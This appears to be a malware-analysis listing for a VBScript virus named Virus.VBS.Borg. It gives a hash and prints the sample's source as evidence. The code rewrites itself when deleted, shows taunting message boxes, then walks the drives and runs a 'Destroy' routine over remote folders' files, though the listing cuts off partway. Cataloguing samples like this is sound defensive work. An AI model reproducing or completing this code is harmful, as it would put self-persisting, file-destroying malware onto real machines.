Virus.VBS.Borg
Creates a text file using FileSystemObjectWSH instantiates FileSystemObject
SHA-256a91c19ca10c2951496129aeced7198be3e32f529c66d8ecafffc5b4bf0a743a4
MaleculeH₂(F₂Os)
Evidence
1
2Set fso = CreateObject("scripting.filesystemobject")
3Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
4MyCode = Myself.readall
5count = 0
6Myself.Close
7Do
8If Not (fso.fileexists(wscript.scriptfullname)) Then
9Set Myself = fso.createtextfile(wscript.scriptfullname, True)
10Myself.write MyCode
11msgbox "We are Borg. We cannot be deleted!"
12count + 1
13Myself.Close
14End If
15if count = 10
16msgbox "That's it. Now your dead!"
17'infect the system
18DoDir()
19end if
20Loop
21
22sub DoDir()
23On Error Resume Next
24Set fso = CreateObject("scipting.filesystemobject")
25Set Drives = fso.Drives
26For Each Drive In Drives
27If Drive.Drivetype = Remote Then
28Drivefull = Drive & "\"
29Call Destroy(Driv …
⋯4 lines
35End sub
36
37Function Destroy(path)
38newpath=path
39Set Fold = fso.GetFolder(newpath)
40Set Files = Fold.Files
41For Each file In Fi …